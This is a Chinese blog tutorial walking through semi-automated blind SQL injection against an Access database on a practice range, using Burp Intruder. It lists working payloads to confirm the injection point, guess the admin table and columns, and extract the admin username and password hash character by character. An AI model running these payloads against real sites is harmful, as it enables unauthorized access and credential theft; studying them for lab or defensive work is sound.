access半自动化注入
access半自动化注入 - 靶场实战
若文章出现错误,望指出;如需转载,请标明出处。
- 前言:本文所讲解的内容主要是用来解决access盲注繁琐的问题,而对于access半自动化注入方式大体上分为两种:
- 自己编写程序脚本,进行高度自定义的(半)自动化注入
- 借助已有工具,如sqlmap,brup等,进行(半)自动化注入。
- 此次(半)自动化注入演示,我们采取第二种方案,使用burp工具进行演示。
之所以说本文是半自动化注入的演示,主要是因为本文的演示不同于sqlmap工具那样可以完全规避手工,还是需要一些必要手工操作,只是在盲注的爆破阶段,我们可以借助工具来摆脱没有必要的重复操作。
一、半自动化注入流程
- 判断注入点
- 猜解目标表名
- 猜解目标表的字段名
- 开始进行盲注,爆破字段值
二、实战演示
2.1 判断注入点
- payload:
- ?NewsID=20&BigClassID=2&SmallClassID=2 and 1=1(页面返回正常)
- ?NewsID=20&BigClassID=2&SmallClassID=2 and 1=2(页面返回失败)
- 由下图返回结果可以判断,此处存在注入点,且为数字型注入。
2.2 猜解表名
- payload:
- ?NewsID=20&BigClassID=2&SmallClassID=2 and exists(select * from admin)
- 因为access数据库没有类似于mysql的information_schema这样的系统索引库,所以我们只能根据经验靠猜了,在真实的测试环境中,我们也可以通过社工的方式进行猜解。
- 此次页面返回正常,说明存在access数据库中存在admin表。
2.3 猜解目标表的字段名
- payload:
- ?NewsID=20&BigClassID=2&SmallClassID=2 and exists(select adminuid,adminpwd from admin)
- 页面返回正常,说admin表中存在字段:adminuid与adminpwd
- 这里我提一个小技巧:就是在我们猜表的字段名时,可以通过该网站后台管理页面的表单来帮助我们猜解。一般而言,程序员在写后台登录表单时,通常会将该表单中input标签的name属性设置的同数据库中相应的字段名相同,如下图:在此次案例中就是这样。
2.4 开始进行盲注,爆破字段值
2.4.1 判断表中有多少条记录
- payload:
- ?NewsID=20&BigClassID=2&SmallClassID=2 and (select count( *) from admin)=1
- 如下图,页面返回正常,说明admin表中只有一条记录
2.4.2 利用burp自动化爆破字段值
-
爆破adminuid字段的值
- 先判断adminuid字段第一个值的长度是多少
- ?NewsID=20&BigClassID=2&SmallClassID=2 and (select top 1 len(adminuid) from admin)=5
- 由下图我们可以判断admin表的adminuid字段的第一个值的长度为5
- 爆adminuid字段的值(利用burp)
- payload:?NewsID=20&BigClassID=2&SmallClassID=2 and (select top 1 asc(mid(adminuid,1,1)) from admin)=1
- 其操作流程由下文的图示依次为您演示:
-
利用burp的proxy模块抓包
-
将包发送到攻击者模块
-
删除burp原有的参数符号,添加自定义的合适的参数符号
-
将intruder模块的攻击模式设置为Cluster bomb
-
设置第一个符号参数的payload
-
设置第二个符号参数的payload
-
开始攻击
-
攻击完成
-
分析攻击结果
- 先判断adminuid字段第一个值的长度是多少
-
爆破adminpwd字段的值
- 先判断adminpwd字段第一个值的长度是多少
- ?NewsID=20&BigClassID=2&SmallClassID=2 and (select top 1 len(adminpwd) from admin)=16
- 由页面返回结果可知,adminpwd字段的第一个值的长度为16
- 在这里其实不需要直接从 1 开始试,一般而言网站都会将用户的密码先经过MD5加密然后再将其存储在数据库中,而MD5加密有16位的,也有32位的,所以我们可以先看看长度是否是16或32,如果是的话,可以帮助我们节省时间。
- 爆adminpwd字段的值(利用burp)
- 由于篇幅原因,接下来的操作步骤与上面的相同,我就不加演示了。爆破出来的密码字段值为:ascii码:55 97 53 55 97 53 97 55 52 51 56 57 52 97 48 101 --> 对应的MD5值:7a57a5a743894a0e -->解密:admin
- 先判断adminpwd字段第一个值的长度是多少
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· 三行代码完成国际化适配,妙~啊~
· .NET Core 中如何实现缓存的预热?
· 如何调用 DeepSeek 的自然语言处理 API 接口并集成到在线客服系统